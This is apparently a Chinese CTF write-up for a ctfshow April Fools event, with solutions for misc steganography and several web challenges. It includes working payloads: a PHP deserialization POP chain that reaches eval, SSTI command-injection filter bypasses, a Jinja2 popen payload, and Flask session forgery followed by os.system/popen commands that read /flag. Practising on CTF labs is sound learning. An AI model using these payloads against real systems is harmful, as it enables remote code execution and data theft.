# 其他

# 签到

hint 如下:

image-20230404211906983

没想到他 flag 直接就是中文 "一个不能说的秘密",涨见识了

ctfshow {一个不能说的秘密}

# MISC

# 奇怪的压缩包

下载下来是一个加密的压缩包,按照惯例先试试是不是伪加密

image-20230404212240131

image-20230404212308114

这两个位置都换成 00 00,保存打开得到 black.png

image-20230404212400755

显示了半截,先猜测高度隐写

image-20230404212648742

把第二段的 96 改成等高度 384 试试

image-20230404212730674

得到全文,但是还是得 binwalk 看一下有没有藏比

image-20230404235003535

有藏比,用 foremost 分离一下得到一个 png 和 zip 文件

其实在 black.png 最后边有提示 key,base64 之后就是 “yurenjie”,这是压缩密码

image-20230404235153184

得到 flag.png,还是高度隐写,修改之后就能得到 flag

image-20230404235248682

ctfshow{Th1s_i5_f1ag}

# WEB

# easy_signin

是个 base64 编码之后传值到 img 显示图片

把 index.php base64 后传进去得到 flag

image-20230404235735530

解码得到内容

image-20230404235801368

ctfshow{eff420e3-947e-4c4b-816a-ed8810990daf}

# 被遗忘的反序列化

这题解法太多了,能用 php 原生类做,学长两步就直接做出来了,根本没用到加密函数

# 法一

我的步骤还是有点繁琐

<?php
# 当前目录中有一个 txt 文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");
class EeE{
    public $text;
    public $eeee;
    public function __wakeup(){
        if ($this->text == "aaaa"){
            echo lcfirst($this->text);
        }
    }
    public function __get($kk){
        echo "$kk,eeeeeeeeeeeee";
    }
    public function __clone(){
        $a = new cycycycy;
        $a -> aaa();
    }
    
}
class cycycycy{
    public $a;
    private $b;
    public function aaa(){
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
            eval($_POST["eval"]);
        }
    }
    public function __invoke(){
        $a_a = $this -> a;
        echo "\$a_a\$";
    }
}
class gBoBg{
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
        if(isset($this->name)){
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
            return $this->coos->name;
        }else{
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}   
class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
    }
    public function __destruct(){
        echo $this->aaa;
    }
    public function __invoke(){
        $this -> aaa = clone new EeE;
    }
}
$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

就四个类,还是很好做的

由于不知道其中 cipher () 函数的加密方式,所以得先看看包含的 check.php 内容是什么(byd 他说的那个 txt 根本扫不出来,还是我最后做完才翻的目录是 h1nt.txt💧)

在 w_wuw_w 类中有 file_get_contents () 函数可以方便的把 $file 外带出来,但是他只在 destruct 的时候 echo 出 $aaa,所以就要用到之前狗学长说过的引用 & 赋值

让 $aaa = &$file,使得这两个变量指向相同地址,这样两个变量的内容就会同时改变

构造出 payload:

$w_wuw_w = new w_wuw_w();
$w_wuw_w -> key = 'test';
$w_wuw_w -> file = 'check.php';
$w_wuw_w -> aaa = &$w_wuw_w -> key;
O:7:"w_wuw_w":4:{s:3:"aaa";N;s:3:"key";s:4:"test";s:4:"file";s:9:"check.php";s:0:"";R:3;}

外带出 check.php 的内容

image-20230405001238222

略加修改一下就得到了具体的内容,分析一下能写出解密脚本

def decrypt_string(input_string):
    charset = "qwertyuiopasdfghjklzxcvbnm123456789"
    shift = 4
    shifted = ""
    for char in input_string:
        pos = charset.find(char)
        if pos != -1:
            new_pos = (pos + shift + len(charset)) % len(charset)
            shifted += charset[new_pos]
        else:
            shifted += char
    return shifted
print(decrypt_string('p8vfuv8g8v8py'))

得到原本 get 该传入的值:fe1ka1ele1efp

由 w_wuw_w 的 echo 函数又可以调用__toString,总结一下得到 pop 链

w_wuw_w::__destruct() -> gBoBg::__toString() -> w_wuw_w::__invoke() -> EeE::__clone() -> cycycycy::aaa()
O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";s:4:"test";s:4:"coos";O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";s:2:"63";s:4:"file";N;}}s:3:"key";s:2:"63";s:4:"file";s:9:"check.php";}

同时传入?get=fe1ka1ele1efp;eval=system ('ls /');

就可得到 flag

image-20230405001615152

cat 一下就行

image-20230405001637044

ctfshow{be571200-b78b-4bfe-ba08-71787e58acb6}

# 法二

$a=new w_wuw_w();
$b=new gBoBg();
$a->aaa=$b;
$b->name=123;
$b->coos="SplFileObject";
$b->file="php://filter/convert.base64-encode/resource=/flag";
echo serialize($a);

加请求头

AAAAAA:O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:123;s:4:"file";s:11:"glob:///*f*";s:4:"coos";s:17:"DirectoryIterator";} s:3:"key";N;s:4:"file";N;}
# 得到文件名:f1agaaa
AAAAAA:O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:123;s:4:"file";s:52:"php://filter/convert.base64-encode/resource=/f1agaaa";s:4:"coos";s:13:"SplFileObject";}s:3:"key";N;s:4:"file";N;}

用的是 php 原生类,glob 直接查 flag,SplFileObject 查 flag,太快了

# easy_ssti

# 法一

提示

image-20230405002511299

打开看到是常见的 ssti

image-20230405002546148

用 hackbar 的 ssti 换几个试试,找到 app.py 的源码

image-20230405002846077

很明显,要求过滤了 f 和 /,但是如果里边有 ge 就可以正常解析

由于要先出现 ge,那就构造 shell

ge="test";cd ..;cat flag

得到 flag

image-20230405003607596

ctfshow{1fe332f3-a27d-44f2-b864-2416b80c021e}

其实扫网的时候有 console 目录,也可以通过 ssti 得到机器信息算出 pin 码直接执行 python 命令,不过更复杂了

# 法二

相似,只不过狗学长用的 cat 命令更巧妙,没有构造 ge

cat ${PATH:0:1}[9-q][9-q][9-q][9-q]

用 ${PATH:0:1} 代替 /,正则 [9-q] 匹配 flag 四个字母

# 法三

官方给的题解

/hello/{{ "".__class__.__base__ .__subclasses__()[132].__init__.__globals__['popen'](request.args.get("ctfshow")).read()}}ge?ctfshow=cat /flag 

# easy_flask

打开是个登陆页面,用 sqlmap 也爆不出来,就尝试直接注册登陆看看内容

登陆进去提示我的角色是 user,当角色是 admin 的时候会给出东西

image-20230405120423293

再看看 learn 的内容

image-20230405120609765

给出了 app.secret_key = 'S3cr3tK3y',在 burp 里又能看到 cookie 内容

image-20230405120639690

base64 解码出来就能看到信息

image-20230405120713026

所以就用工具伪造一下 session

image-20230405121020273

加密后用 burp 传进去就有任意文件下载的功能

image-20230405121111065

看一下 app.py 是怎么写的

image-20230405121604328

image-20230405121621759

分别给出了 admin 的密码和一个 hello 路径,有 eval 利用

?eval=__import__('os').system('ls / > test')

然后任意文件读取 test

image-20230405122559265

?eval=__import__('os').system('cat /flag_is_h3re > test')

或者更直接一点

?eval=__import__('os').popen('cat /*f*').read()

得到 flag

ctfshow{d7cbfb77-b2fb-47ee-ade9-e78bd40c9871}

# easy_base

一把梭脚本

image-20230405124031283

ctfshow{yu_ren_j1e_haPpy!!!}